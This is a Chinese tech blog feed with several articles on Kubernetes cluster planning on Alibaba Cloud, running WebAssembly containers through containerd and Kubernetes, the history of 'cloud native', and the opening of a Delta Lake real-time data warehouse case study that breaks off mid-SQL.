        源自Google Borg的理念,Kubernetes的愿景是成为Data Center Operating System,而且Kubernetes也提供了RBAC、namespace等管理能力,支持多用户共享一个集群,并实现资源限制。 但是这些更多是 “软多租” 能力,不能实现不同租户之间的强隔离。在多租最佳实践中,我们可以有如下的一些建议

        • 数据平面:可以通过PSP (PodSecurityPolicy) 或者安全沙箱容器,提升容器的隔离性;利用 Network Policy 提升应用之间网络隔离性;可以通过将nodes和namespace绑定在一起,来提升namespace之间资源的隔离。
        • 控制平面:Kubernetes的控制平面包括master组件API Server, Scheduler, etcd等,系统addon如CoreDNS, Ingress Controller等,以及用户的扩展,如3方的CRD (Customer Resource Definition) controller。这些组件大多不具备良好的租户之间的安全、资源和故障隔离能力。一个错误的CRD contoller实现有可能打挂一个集群的API Server。

        关于Kubernetes多租户实践的具体信息可以参考下文。目前而言,Kubernetes对硬隔离的支持存在很多局限性,同时社区也在积极探索一些方向,如阿里容器团队的Virtual Cluster Proposal 可以提升隔离的支持,但是这些技术还未成熟。

        另一个需要考虑的方案是Kubernetes自身的可扩展性,我们知道一个Kubernetes集群的规模在保障稳定性的前提下受限于多个维度,一般而言Kubernetes集群小于5000节点。当然,运行在阿里云上还受限于云产品的quota限制。阿里经济体在Kubernetes规模化上有丰富的经验,但是对于绝大多数客户而言,是无法解决超大集群的运维和定制化复杂性的。

        image.png

        对于公共云客户我们一般建议,针对业务场景建议选择合适的集群规模

        • 对于跨地域(region)场景,采用多集群策略,K8s集群不应跨地域。我们可以利用CEN将不同地域的VPC打通。
        • 对于强隔离场景,采用多集群策略,不同安全域的应用部署在不同的集群上。
        • 对于应用隔离场景,比如SaaS化应用,可以采用单集群方式支持多租,并加强安全隔离。
        • 对于多个大规模应用,可以采用多集群策略,比如,在线应用、AI训练、实时计算等可以运行在不同的K8s集群之上,一方面可以控制集群规模,一方面可以针对应用负载选择合适的节点规格和调度策略。
          • 由于有VPC中节点、网络资源的限制,我们可以甚至将不同的K8s集群分别部署在不同的VPC,利用CEN实现网络打通,这部分需要对网络进行前期规划。

        如果需要对多个集群的应用进行统一管理,有如下几个考虑

        另外利用托管服务网格服务ASM,可以利用Istio服务网格轻松实现对多个K8s集群的应用的统一路由管理。

        如何选择K8s或者Serverless K8s集群?

        在所有的调查中,K8s的复杂性和缺乏相应的技能是阻碍K8s企业所采用的主要问题,在IDC中运维一个Kubernetes生产集群还是非常具有挑战的任务。阿里云的Kubernetes服务ACK简化了K8s集群的生命周期管理,托管了集群的master节点被,但是用户依然要维护worker节点,比如进行升级安全补丁等,并根据自己的使用情况进行容量规划。

        针对K8s的运维复杂性挑战,阿里云推出了Serverless Kubernetes容器服务 ASK。

        完全兼容现有K8s容器应用,但是所有容器基础设施被阿里云托管,用户可以专注于自己的应用。它具备几个特点

        • 首先它按照容器应用实际消耗的资源付费,而不是按照预留的节点资源付费
        • 对用户而言没有节点的概念,零维护
        • 所有资源按需创建,无需任何容量规划。

        image.png

        在ASK中,应用运行在弹性容器实例 - ECI (Elastic Container Instance)中,ECI基于轻量虚拟机提供的沙箱环境实现应用安全隔离,并且完全兼容Kubernetes Pod语义。在ASK中我们通过对Kubernetes做减法,将复杂性下沉到基础设施,极大降低了运维管理负担,提升用户体验,让Kubernetes更简单,让开发者更加专注于应用自身除了无需管理节点和Master外,我们将DNS, Ingress等能力通过阿里云产品的原生能力来实现,提供了极简但功能完备的Kubernetes应用运行环境。

        Serverless Kubernetes极大降低了管理复杂性,而且其自身设计非常适合突发类应用负载,如CI/CD,批量计算等等。比如一个典型的在线教育客户,根据教学需要按需部署教学应用,课程结束自动释放资源,整体计算成本只有使用包月节点的 1/3。

        在编排调度层,我们借助了CNCF社区的Virtual-Kubelet,并对其进行了深度扩展。Virtual-Kubelet提供了一个抽象的控制器模型来模拟一个虚拟Kubernetes节点。当一个Pod被调度到虚拟节点上,控制器会利用ECI服务来创建一个ECI实例来运行Pod。

        我们还可以将虚拟节点加入ACK K8s集群,允许用户灵活控制应用部署在普通节点上,还是虚拟节点上。

        值得注意的是 ASK/ECI 是 nodeless 形态的pod,在K8s中有很多能力和node相关,比如NodePort等概念不支持,此外类似日志、监控组件经常以DaemonSet的方式在K8s节点上部署,在ASK/ECI中需要将其转化为Sidecar。

        image.png

        用户该如何选择ACK和ASK呢?ACK主要面向的是基础设施运维团队,具备和K8s高度的兼容性和灵活性控制性。而ASK则是面向业务技术团队或者开发者,用户完全不需具备K8s的管理运维能力,即可管理和部署K8s应用。而ACK on ECI,则同时支持用户负载运行在ECS实例或者ECI实例上,可以允许用户进行灵活控制。

        ACK on ECI/ASK则可以将弹性的负载通过ECI的方式运行,有几个非常典型的场景:

        • 应对突发流量:ECI基于面向容器的轻量安全沙箱,可以实现30s 500Pod的弹性伸缩能力,可以轻松应对突发的业务流量,在面对不确定的业务流量时,可以简化弹性配置。
        • 批量数据处理:我们可以实现Serverless Spark/Presto这样的计算任务, 按需为计算任务分配计算资源。
        • 安全隔离:有些业务应用需要运行3方不可信应用,比如一个AI算法模型,ECI本身利用安全沙箱进行隔离,我们可以利用ECI隔离运行相关应用。

        ACK on ECI还可以和Knative这样的Serverless应用框架配合,开发领域相关的Serverless应用。

        总结

        合理规划K8s集群可以有效规避后续运维实践中的稳定性问题,降低使用成本。期待与大家一起交流阿里云上使用Kubernetes的实践经验。

        ]]>
        WebAssembly 与 Kubernetes双剑合璧 Fri, 02 May 2025 09:39:04 +0800 image.png

        无处不在的WebAssembly

        如果评选2019年编程技术的“网红”,无论是前端圈还是后端圈 WebAssembly (WASM) 都绝对能够高票入选。然而,如果评选最被“低估”的技术,我觉得 WebAssembly 也可以轻松入围。借用伏尔泰曾评价神圣罗马帝国的句式 “既不神圣,也不罗马,更非帝国”,我们也可以说WebAssembly “既不限于Web,更不是Assembly(汇编语言)”。

        在2019年12月,万维网联盟 (World Wide Web Consortium  - W3C) 宣布 WebAssembly核心规范正式成为Web标准,  这使得 WebAssembly 成为互联网上与 HTML, CSS, and JavaScript并列的第四种官方语言,可以原生的运行在浏览器上。而更加重要的是,WebAssembly 作为一个安全的、可移植、高效率的虚拟机沙箱,可以在 Internet 的任何地方、任何平台(不同操作系统,不同CPU体系架构下)安全运行应用。WebAssembly已得到了所有主流浏览器厂商的广泛支持(Google Chrome, Microsoft Edge, Apple Safari, Mozilla Firefox等),然而它的影响已经远超Web。

        WebAssembly的设计初衷之一是为了解决JavaScript的性能问题,使得Web网页应用有接近本机原生应用的性能。作为一个通用、开放、高效的底层虚拟机抽象,众多编程语言(如C/C++, Rust, 等)可以将现有应用编译成为WASM的目标代码,运行在浏览器中 。这让应用开发技术与运行时技术解耦,极大促进了代码复用。

        Mozilla在2019年3月推出了 WebAssembly System Interface(WASI),来标准化WebAssembly应用与系统资源的交互抽象,比如文件系统访问,内存管理,网络连接等,类似POSIX这样的标准API。WASI规范大大拓展了WASM应用的场景,可以让其可以超越浏览器环境,作为一个独立的虚拟机运行各种类型的应用。同时,平台开发商可以针对具体的操作系统和运行环境提供WASI接口不同的实现,可以在不同设备和操作系统上运行跨平台的 WebAssembly 应用。这可以让应用执行与具体平台环境实现解耦。这一切使得“Build Once, Run Anywhere”的理想逐渐形成现实。WASI 的示意图如下所示。2019年月,为了进一步推动模块化 WebAssembly 生态系统,Mozilla、Fastly、英特尔和红帽公司携手成立了字节码联盟(Bytecode Alliance),共同领导 WASI 标准、 WebAssembly 运行时、语言工具等工作。

        image.png

        原图:https://hacks.mozilla.org/2019/03/standardizing-wasi-a-webassembly-system-interface/

        WASM与容器相爱相杀

        WebAssembly是否会取代容器?

        正因为 WebAssembly 所具备的的安全、可移植、高效率,轻量化的特点,非常适于应用安全沙箱场景。WASM得到了容器、函数计算、IoT/边缘计算等社区的广泛关注。Docker创始人Solomon Hykes在WASI发布之际的一句Twitter,更是成为了去年容器和WebAssembly社区引用频率最高的一句话之一。

        image.png

        Fastly, Cloudflare等CDN厂商基于WebAssembly技术实现了更加轻量化的应用安全沙箱,可以在一个进程内部运行多个独立的用户应用。阿里云CDN团队EdgeRoutine也实现了类似技术。与容器技术相比,WASM可以实现毫秒级冷启动时间和极低的资源消耗。

        image.png

        原图:https://blog.cloudflare.com/cloud-computing-without-containers/

        当然,世界上没有完美的技术。任何沙箱技术不可能同时满足执行效率、安全隔离性和通用性这三个维度的要求。WASM在安全隔离和通用性等方面与Docker Container等存在差距。虽然如此,我们还是看到了WebAssembly技术巨大的潜力。

        WebAssembly容器

        我的理解是WebAssmebly可以成为一种容器类型,类似Linux Container或者Windows Container一样。成为一个跨平台的标准应用分发方式和运行时环境。

        应用分发

        Docker容器的一个重要贡献是其标准化了容器化应用打包规范 Docker Image,而且它已经成为开放容器计划(Open Container Initiative - OCI)的镜像格式标准。Docker镜像提供了自包含、自描述的镜像格式。它可以将应用以及其依赖的环境信息打包在一起,从而实现应用与运行环境解耦,让容器应用可以轻松运行在从本地开发环境到云端生产环境的不同场景中。并且社区围绕Docker镜像构建了繁荣的工具链生态,如Docker Hub可以进行应用分发和CI/CD协同,Nortary/TUF项目可以保障应用可信地分发、交付。

        对与WebAssembly,目前社区提供了类似NPM的包管理实现 WAPM,可以较好地支持应用的分发。 为WebAssembly应用构建Docker镜像,可以实现双赢的局面。

        • WebAssembly开发者可以完全复用Docker/OCI镜像规范和工具链,进一步简化应用分发和交付。比如,我们可以将Nginx的WASM镜像作为基础镜像,基于这个镜像可以构建包含不同Web内容的应用镜像;我们可以利用tag对应用版本进行追踪;利用Docker Registry进行应用分发;在这个过程我们还可以进一步利用数字签名来保障安全的软件供应链。
        • Docker镜像规范支持Multi-Arch镜像,可以简化不同CPU体系架构(如x86, ARM, RISC-V等)的应用镜像的构建与分发。而WebAssembly天生具备可移植性,大大简化了跨平台Docker应用镜像的构建和分发。

        我提供了一个技术原型示例项目,https://github.com/denverdino/wasm-container-samples,大家可以参考其中的例子来构建WASM容器镜像。由于WebAssembly应用采用紧凑的二进制格式,而且没有任何操作系统依赖,WASM应用可以构建出非常小的容器镜像。大家可以自行感受一下:

        $ sudo ctr image ls
        REF                                                           TYPE                                                 DIGEST                                                                  SIZE      PLATFORMS   LABELS
        docker.io/denverdino/c-http-server-wasm:latest                application/vnd.docker.distribution.manifest.v2+json sha256:2efa759f46f901cda2e6a9b4228c423b17a960c06e957964e72c21dc5b42408f 29.2 KiB  linux/amd64 -
        docker.io/denverdino/hellowasm:latest                         application/vnd.docker.distribution.manifest.v2+json sha256:cadcc8b07eb82b18db2c8f500fa2b11e5ebf2e9054cfa687e4ffe44861860132 8.2 KiB   linux/amd64 -
        docker.io/denverdino/nginxwasm:latest                         application/vnd.docker.distribution.manifest.v2+json sha256:8735c82524a463b842b7c79f2c1be8094ee1c57cfd34154f68752fbe79c25998 582.7 KiB linux/amd64 -

        安全隔离

        WebAssembly的最初设计目标是让应用可以安全运行在浏览器中。WASM虚拟机提供的的沙箱和内存隔离机制,可以有效减少安全攻击面。而当WebAssembly走出浏览器,面向更加通用的场景。WASM也面对更加复杂的安全挑战。

        WASI 提供了基于能力的安全模型。WASI应用遵循最小权限原则,应用只能访问其执行所需的确切资源。传统上,如果应用需要打开文件,它会带路径名字符串调用系统操作open。然后系统调用会检查应用是否具有访问该文件的相关权限,比如Linux实现了基于用户/组的权限模型。这样隐式的安全模型,依赖于正确的安全管理配置,比如一旦特权用户执行了一个恶意应用,它就可以访问系统中任意的资源。而对于WASI应用而言,如果它需要需要访问指定文件等系统资源,需要从外部显式传入加有权限的文件描述符引用,而不能访问任何其他未授权资源。这中依赖注入的方式可以避免传统安全模型的潜在风险。一个示意图如下

        image.png

        原图:https://hacks.mozilla.org/2019/03/standardizing-wasi-a-webassembly-system-interface/

        我们可以看到WASI的安全模型与传统操作系统安全模型非常不同,而且还在持续演进中。比如字节码联盟提出了 nanoprocess 来解决应用模块间的安全协同和信任传递。

        WebAssembly/WASI的安全模型依然存在不足,比如

        • 资源隔离:

          • 对于内存资源,WebAssembly实现了线性内存模型。WebAssembly应用只能利用索引访问传入的一段逻辑线性内存。而WASM虚拟机负责确定内存的实际物理地址,WASM应用无法获知内存的真实地址,也无法通过越界访问等方式发动攻击。所以理论上,可以对WASM应用进行资源容量限制。但是目前部分WASM虚拟机还无法对内存进行精确的隔离限制
          • 对于CPU资源,部分的WASM虚拟机实现可以对应用使用的CPU资源进行计量,但是大多无法实现精确的配额限制、优先级和抢占式调度。
          • I/O资源,比如IOPS等,WASM目前完全没有相关的隔离能力。
        • 网络安全:

          • WASI的Capability模型对于文件系统访问相对比较容易保护。但是这个静态的安全模型无法适用于动态的网络应用场景。在微服务架构中,应用经常通过Service Registry进行服务发现,为服务的调用者和提供者实现动态的调用绑定。这个语义是无法用静态的capability模型描述和注入的。这也导致了WASI的网络部分API还处于讨论之中。现有的WASI网络安全模型,以及相关讨论

        Linux操作系统和容器技术已经提供了非常完备的资源隔离和安全隔离实现。与WebAssembly结合在一起可以应对不同场景对不同隔离级别的需求。

        • 共享进程资源 - 多个WASM应用模块运行在一个WASM虚拟机进程内部,依赖WASM运行时进行隔离。隔离级别低,控制粒度比较粗,资源开销极小。可以以较小代价保障系统安全。适合受限问题域的应用安全隔离。
        • 独立进程资源 - 不同WASM应用模块运行在不同的WASM虚拟机进程中,可以复用操作系统的进程级隔离能力,比如CGroup。此外,还可以利用类似Kubernetes中的Network Policy (网络策略),或者服务网格(如Istio)等技术,对进程的网络访问进行细粒度的控制,甚至实现零信任网络。隔离级别比较高,控制粒度比较细,资源开销适中。可以应用于更加通用的场景。

        注:当然利用安全沙箱如虚拟化等技术,结合WebAssembly,可以进一步最小化安全攻击面,但是ROI不高。

        调度与编排

        在云时代,Kubernetes已经成为分布式环境下资源调度和应用编排的事实标准。Kubernetes可以屏蔽底层设施的差异性。可以在同一个K8s集群中包含x86、ARM等不同体系架构的节点,可以支持Linux,Windows等不同的操作系统。Kubernetes和WebAssembly相结合可以进一步提升应用的可移植性。

        微软的Deis Labs年初发布了一个实验项目, https://github.com/deislabs/krustlet 来利用 Virtual Kubelet类似的架构调度 WebAssembly 应用。但是这个方式有很多局限,无法借助容器方式进行应用分发,也无法利用 K8s 的语义进行资源编排。 

        难得有一个春节假期可以宅在家里间,我基于Derek McGowan去年的一个实验性项目https://github.com/dmcgowan/containerd-wasm,完善了containerd的WASM shim实现。可以让containerd支持WASM container,并且可以利用Kubernetes集群管理和调度 WASM container。
        项目的代码实现: https://github.com/denverdino/containerd-wasm

        注:这个项目更多是概念验证,进程管理、资源限制,性能优化等的细节并没未完整实现。

        整个系统的架构设计如下,“container-shim-wasm-v1”做为Containerd的扩展,利用 wasmer 作为WASM应用运行时环境,可以实现与runc容器一致的用户体验。

        image.png

        我们还会将其注册为 K8s 的一个RuntimeClass ,允许用户利用K8s来交付和运维WASM应用。

        注:RuntimeClass是 Kubernetes v1.12 引入的新概念,可以让Kubernetes支持多种不同的容器运行时,比如 runc容器、或者Kata Containers,gVisor等安全沙箱容器。更多细节可以参考,containerd与安全沙箱的Kubernetes初体验 

        Talk is Cheap, 放码过来

        首先,我们将利用Minikube创建一个K8s测试环境,并将 Containerd 作为Kubernetes集群的容器运行时。

        创建虚拟机测试环境

        创建Minikube K8s集群,并将 Containerd 作为Kubernetes集群容器运行时

        minikube start --image-mirror-country cn 
            --iso-url=https://kubernetes.oss-cn-hangzhou.aliyuncs.com/minikube/iso/minikube-v1.6.0.iso 
            --registry-mirror=https://tgtsuwdg.mirror.aliyuncs.com 
            --container-runtime=containerd

        进入 Minikube 虚拟机

        $ minikube ssh
                                 _             _
                    _         _ ( )           ( )
          ___ ___  (_)  ___  (_)| |/')  _   _ | |_      __
        /' _ ` _ `| |/' _ `| || , <  ( ) ( )| '_`  /'__`
        | ( ) ( ) || || ( ) || || |` | (_) || |_) )(  ___/
        (_) (_) (_)(_)(_) (_)(_)(_) (_)`___/'(_,__/'`____)
        

        配置环境所需依赖

        • wasmer 0.13
        • minikube缺省安装了container 1.2.x,需要升级 containerd 1.3.x
        • 我提供了一个预编译的 containerd-wasm-shim-v1,也可自己编译一个版本。
        cd ~
        
        # Install Wasmer 0.13.1
        curl -L -O https://github.com/wasmerio/wasmer/releases/download/0.13.1/wasmer-linux-amd64.tar.gz
        gunzip wasmer-linux-amd64.tar.gz
        tar xvf wasmer-linux-amd64.tar
        sudo cp bin/* /usr/bin/
        
        # Upgrade containerd to v1.3.2
        curl -L -O https://github.com/containerd/containerd/releases/download/v1.3.2/containerd-1.3.2.linux-amd64.tar.gz
        gunzip containerd-1.3.2.linux-amd64.tar.gz
        tar xvf containerd-1.3.2.linux-amd64.tar
        sudo systemctl stop containerd
        sudo cp bin/* /usr/bin/
        sudo systemctl restart containerd
        
        # Install containerd-wasm-shim
        wget http://kubernetes.oss-cn-hangzhou.aliyuncs.com/containerd-wasm/containerd-shim-wasm-v1
        chmod +x containerd-shim-wasm-v1
        sudo mv containerd-shim-wasm-v1 /usr/bin/

        配置 containerd 支持 WASM shim

        在containerd配置文件中添加 wasm shim相关配置,并重启containerd。

        $ cat <<EOF | sudo tee -a /etc/containerd/config.toml
        disabled_plugins = ["restart"]
        [plugins.cri.containerd.runtimes.wasm]
          runtime_type = "io.containerd.wasm.v1"
        EOF
        
        $ sudo systemctl restart containerd

        测试 Hello World WASM容器应用

        $ sudo ctr image pull docker.io/denverdino/hellowasm:latest
        docker.io/denverdino/hellowasm:latest:                                            resolved       |++++++++++++++++++++++++++++++++++++++|
        manifest-sha256:cadcc8b07eb82b18db2c8f500fa2b11e5ebf2e9054cfa687e4ffe44861860132: done           |++++++++++++++++++++++++++++++++++++++|
        layer-sha256:ecda28441283ecf01d35bca0361f2c1ef26a203454a06789ee5ce71ba1e32ca3:    done           |++++++++++++++++++++++++++++++++++++++|
        config-sha256:57974480d640c8d60d254a8b0fa4606b2c7107fe169bc3ddd455091277c3a5e4:   done           |++++++++++++++++++++++++++++++++++++++|
        elapsed: 3.0 s                                                                    total:   0.0 B (0.0 B/s)
        unpacking linux/amd64 sha256:cadcc8b07eb82b18db2c8f500fa2b11e5ebf2e9054cfa687e4ffe44861860132...
        done
        $ sudo ctr run --rm --runtime io.containerd.wasm.v1 docker.io/denverdino/hellowasm:latest test1
        Hello world

        测试 Nginx的WASM容器应用

        $ sudo ctr image pull docker.io/denverdino/nginxwasm:latest
        docker.io/denverdino/nginxwasm:latest:                                            resolved       |++++++++++++++++++++++++++++++++++++++|
        manifest-sha256:8735c82524a463b842b7c79f2c1be8094ee1c57cfd34154f68752fbe79c25998: exists         |++++++++++++++++++++++++++++++++++++++|
        layer-sha256:27f4d8ad067fbb709d18ea5acd7a5ddfb85851e5d9f030636e9da3d16cc4bd07:    done           |++++++++++++++++++++++++++++++++++++++|
        config-sha256:a55bd3bdb9d00fdac5ee2f64bfc1856e58e8bb90587943969ad3d8115f4ced70:   done           |++++++++++++++++++++++++++++++++++++++|
        elapsed: 3.0 s                                                                    total:   0.0 B (0.0 B/s)
        unpacking linux/amd64 sha256:8735c82524a463b842b7c79f2c1be8094ee1c57cfd34154f68752fbe79c25998...
        done
        $ sudo ctr run --rm --runtime io.containerd.wasm.v1 docker.io/denverdino/nginxwasm:latest test2
        2020/02/01 07:01:21 [notice] 30672#0: using the "select" event method
        2020/02/01 07:01:21 [notice] 30672#0: nginx/1.15.3
        2020/02/01 07:01:21 [notice] 30672#0: built by clang 6.0.1  (emscripten 1.38.11 : 1.38.11)
        2020/02/01 07:01:21 [notice] 30672#0: OS: Linux 4.19.81
        2020/02/01 07:01:21 [notice] 30672#0: getrlimit(RLIMIT_NOFILE): 1024:1024

        在 Minikube 外部,可以用如下方式获得 nginx 应用的访问地址

        $ echo http://$(minikube ip):8080
        http://192.168.64.13:8080

        利用浏览器打开上述地址,显示如下

        image.png

        创建WASM容器的RuntimeClass CRD

        为了将WASM容器可以被Kubernetes所调度,我们需要创建一个RuntimeClass CRD

        下载示例文件

        $ git clone https://github.com/denverdino/wasm-container-samples
        $ cd wasm-container-samples

        注册 RuntimeClass “wasm”,这个值

        $ cat wasm-runtimeclass.yaml
        apiVersion: node.k8s.io/v1beta1
        kind: RuntimeClass
        metadata:
          name: wasm
        handler: wasm
        
        $ kubectl apply -f wasm-runtimeclass.yaml
        runtimeclass.node.k8s.io/wasm created
        
        $ kubectl get runtimeclass
        kubectl get runtimeclass
        NAME   CREATED AT
        wasm   2020-02-01T06:24:12Z

        在K8s中运行WASM容器应用

        在K8s应用的yaml manifest中,我们可以在Pod Spec上指明所需 runtimeClassName。下面我们就用K8s来部署一个nginx的WASM容器。

        $ cat nginx-wasm.yaml
        apiVersion: v1
        kind: Pod
        metadata:
         name: nginx-wasm
        spec:
         runtimeClassName: wasm
         containers:
         - name: nginx
           image: denverdino/nginxwasm
           ports:
             - containerPort: 8080
        
        $ kubectl apply -f nginx-wasm.yaml
        pod/nginx-wasm created
        
        $ kubectl get pod
        NAME         READY   STATUS    RESTARTS   AGE
        nginx-wasm   1/1     Running   0          9s

        新机遇、新希望

        目前为止,WebAssembly 技术仍处于初期阶段,WASI也有很多局限性。但是社区的进展非常快,SIMD 指令支持,多线程处理等规范也正在快速演进中。WebAssembly已经打破次元壁,将高性能的计算能力带领到Web浏览器端,越来越多的计算密集型的游戏、AI模型预测、和数据处理应用被移植到浏览器端,可以为应用提供更加优化的用户体验。

        WebAssembly更广阔的空间在云计算领域、区块链等分布式计算领域。WebAssembly 轻量、敏捷、安全的特性,可以有效降低Serverless应用启动速度和资源消耗。同时WebAssembly的可移植,可以让应用一致运行在从云端服务器到边缘IoT设备等不同平台环境中,让计算无处不在。

        利用containerd的扩展机制,可以为WebAssembly应用提供与其他容器应用一致的、抽象的、应用分发、交付和运维模型,可以在Kubernetes集群中进行统一调度和管理。希望通过类似的探索可以简化基于WebAssembly的分布式应用管理和运维。

        后记

        本文写在2020年的春节期间,这个春节注定将会被所有人铭记。众志成城,抗击疫情!天佑中华,武汉加油!

        ]]>
        什么是云原生?聊聊云原生的今生 Fri, 02 May 2025 09:39:04 +0800 云原生这词在这几年突然火了,在很多人还不了解她是什么的时候频频被她刷屏。所以我经常说技术人是一个容易焦虑的群体,每天被一堆新的概念拉着走,扯着学。新语言多,新概念多,新技术多,没什么安全感。对于新概念,我喜欢从三个层次去理解,一个是这技术名词被提出的历史背景,一个是技术名词概念的演化,一个是结合比较主流的话语体系的解读。关于云原生,我也会从这三个方面来解读。

        云原生(Cloud Native)的由来

        云原生的概念最早开始于2010年,在当时 Paul Fremantle 的一篇博客中被提及,他主要将其描述为一种和云一样的系统行为的应用的编写,比如分布式的、松散的、自服务的、持续部署与测试的。当时提出云原生是为了能构建一种符合云计算特性的标准来指导云计算应用的编写。

        后来到2013年 Matt Stine在推特上迅速推广云原生概念,并在2015年《迁移到云原生架构》一书中定义了符合云原生架构的特征:12因素、微服务、自服务、基于API协作、扛脆弱性。而由于这本书的推广畅销,这也成了很多人对云原生的早期印象,同时这时云原生也被12要素变成了一个抽象的概念。

        CNCF基金会成立及云原生概念的演化

        2015年由Linux基金会发起了一个 The Cloud Native Computing Foundation(CNCF) 基金组织,CNCF基金会的成立标志着云原生正式进入高速发展轨道,google、Cisco、Docker各大厂纷纷加入,并逐步构建出围绕 Cloud Native 的具体工具,而云原生这个的概念也逐渐变得更具体化。因此,CNCF基金最初对云原生定义是也是深窄的,当时把云原生定位为容器化封装+自动化管理+面向微服务:

        The CNCF defines “cloud-native” a little more narrowly, to mean using open source software stack to be containerized, where each part of the app is packaged in its own container, dynamically orchestrated so each part is actively scheduled and managed to optimize resource utilization, and microservices-oriented to increase the overall agility and maintainability of applications.

        这主要因为CNCF基金会在当时的核心拳头软件就是 k8s,因此在概念定义上主要是围绕着容器编排建立起来的生态。其实这也是为什么我们可以看到 CNCF 定义云原生的时候有时感觉就是再说容器生态。

        到了2017年, 云原生应用的提出者之一的Pivotal在其官网上将云原生的定义概况为DevOps、持续交付、微服务、容器这四大特征,这也成了很多人对 Cloud Native的基础印象。

        Cloud-native foundational pillars

        而到了2018年,随着Service Mesh的加入,CNCF对云原生的定义发生了改变,而这也逐渐作为被大家认可的官方定义:

        Cloud native technologies empower organizations to build and run scalable applications in modern, dynamic environments such as public, private, and hybrid clouds. Containers, service meshes, microservices, immutable infrastructure, and declarative APIs exemplify this approach.
        These techniques enable loosely coupled systems that are resilient, manageable, and observable. Combined with robust automation, they allow engineers to make high-impact changes frequently and predictably with minimal toil.
        The Cloud Native Computing Foundation seeks to drive adoption of this paradigm by fostering and sustaining an ecosystem of open source, vendor-neutral projects. We democratize state-of-the-art patterns to make these innovations accessible for everyone.

        总结一下就是:

        • (1)基于容器、服务网格、微服务、不可变基础设施和声明式API构建的可弹性扩展的应用;
        • (2)基于自动化技术构建具备高容错性、易管理和便于观察的松耦合系统;
        • (3)构建一个统一的开源云技术生态,能和云厂商提供的服务解耦,

        可以看出这一阶段CNCF对云原生的定义加上服务网格声明式API,同时为这一概念阐述更深一层的意义,也就是建立一个统一中立的开源云生态(至于是否中立嘛这里就不谈了:)。这对云原生的生态定位会是很重要的一点,也算CNCF最初成立的宗旨之一吧,打破云巨头的垄断。

        landscape.png

        对云原生的解构

        对一个词的解读,除了看其历史发展背景,还有一种偏向于语言学的方法解读,也就是我们常说的从“字面意思”来理解为何这些理念的集合体。

        Cloud Native,从词面上拆解其实就是 Cloud 和 Native,也就是云计算土著的意思——云计算上的原生居民,即天生具备云计算的亲和力。

        那怎么理解“云的原生居民”呢?

        首先从云的角度来理解,云本质可以看作是一种提供稳定计算存储资源的对象,为了实现这点,像虚拟化、弹性扩展、高可用、高容错性、自恢复这些都是云的基本属性,云原生作为一种云计算,这是所具备的第一层含义。

        第二层要从 Native 来看,云原生和传统的在云上跑的应用是不同。比如一些基于公有云搭建的应用,是基于传统的SOA架构来搭建的,然后再移植到云上去运行,那么他和云得整合是非常低得。
        为什么低呢?云作为一种分布式架构,其“土著居民”也应该是基于分布式架构设计出来得,而微服务或者Serverless这种将服务或函数拆分成一个个模块的松耦合系统天然就具备分布式设计得属性。这是Native的第一种表现。

        Monolithic deployment versus microservices

        其次云作为一种PaaS服务,这位“土著居民”从出生(设计)到成长(开发),再到生活(部署)都应该是基于云的理念来实现的,那么就需要一套自动化的开发流程CI/CD来实现。这是Native的第二种表现。
        Deployment steps in a CI/CD Pipeline

        而最后“土著居民”的特点希望做到能在所有的云端都是适应的,不管是各厂商的公有云 像AWS、Azure、阿里云,还是各企业自己搭建的私有云,云原生的应用都能做到无缝的运行和连接。

        参考文献

        ]]>
        核桃编程Delta Lake实时数仓应用实践 Fri, 02 May 2025 09:39:04 +0800 作者:
        卢圣刚,核桃编程数据架构师,拥有多年的大数据开发和架构经验。曾担任易观数据挖掘工程师,熊猫TV大数据架构师。


        核桃编程简介

        核桃编程成立于2017年8月9日,作为少儿编程教育行业的领导者,始终秉持“让每个孩子爱学习、会学习,让优质的教育触手可及”的使命,致力于以科技手段促进编程教育,凭借首创的AI人机双师教学模式与十级进阶课程体系,实现规模化因材施教,“启发中国孩子的学习力”。截止2019年8月,核桃编程已经成为付费学员规模最大的少儿编程教育机构,帮助超过65万名孩子收获学习兴趣,锻炼编程技能,养成良好思维习惯,学员复购率超91%,学员完课率高达98%,在线原创作品1873万份。

        1.业务现状

        业务需求

        • 业务上固定时间开课,在开课时间内,班主任需要实时/准实时地知道学生的学习情况
        • 数据统计维度一般都是按班级,学期汇总,时间范围可能是几个月,甚至一年
        • 业务变化快,需要及时响应业务变化带来的指标逻辑变更

        数据源

        image.png

        架构改造前方案

        现有指标都是将Kafka/Mysql等的数据写入HDFS,使用Hive离线批处理,每10分钟执行一次,循环统计历史累计指标,再定时把数据同步到Mysql,提供给数据后台查询。如下图所示:
        image.png

        遇到的问题

        随着计算的数据量越来越大,逐渐不能满足业务的更新频率要求。

        • 使用Apache Sqoop做全量数据同步,会对业务Mysql库/HDFS造成压力。
        • 使用Apache Sqoop做增量同步,一般只能使用某个时间字段(例如update time)来同步新修改的数据。这样在做分区表时,需要比较复杂的离线合并。
        • 随着数据越来越大,同步以及处理时间会越来越长,满足不了业务实时性需求。

        2.实时数仓方案调研

        离线的同步方案已经不能满足业务需求,计划迁移到实时方案上来,并做了一些调研。

        迁移流式计算的问题

        开发周期长

        现有离线任务基本都是动辄几百行SQL,逻辑复杂,把所有逻辑迁移到流式计算,开发难度和改造成本都比较大。
        例如离线增量同步,需要先同步全量base数据

        sqoop import  
        --hive-import 
        --hive-overwrite 
        --connect jdbc:mysql://<mysqlurl>   
        --table <mysqltable> 
        --hive-table <table_base> 
        --hive-partition-key <parcolumn> 
        --hive-partition-value <par1>

        再消费增量binlog数据,流式写入到hive外部表,最后将两个表合并

        insert overwrite table <result_storage_table>select
        <col1>,
              
        <col2>,
               <colN>
          from(select
        row_number() over(partition by t.<primary_key_column>
         order by record_id
        desc, after_flag desc) as row_number, record_id, operation_flag, after_flag,
        <col1>, <col2>, <colN>
          from(select
        incr.record_id, incr.operation_flag, incr.after_flag, incr.<col1>,
        incr.<col2>,incr.<colN>
          from
        <table_log> incr
         where
        utc_timestamp< <timestamp>
         union all select 0
        as record_id, 'I' as operation_flag, 'Y' as after_flag, base.<col1>,
        base.<col2>,base.<colN>
          from
        <table_base> base) t) gtwhere record_num=1 
          and
        after_flag='Y'

        而应用Delta Lake只需要一个streaming sql即可实现实时增量同步。

        CREATE SCAN <SCAN_TABLE> on <STREAM> using
        stream;
        CREATE STREAM job
        OPTIONS(
        checkpointLocation='/cdc',
        triggerInterval=30000
        )
        MERGE INTO <CDC_TABLE> as target
        USING (
         SELECT
         from_unixtime(<col2>,'yyyyMMdd') as
        par_date,
         <col1>
         FROM(
          SELECT 
          recordId, 
          recordType, 
          CAST(before.id as
        LONG) as before_id,
          CAST(after.id as
        LONG) as id,
         
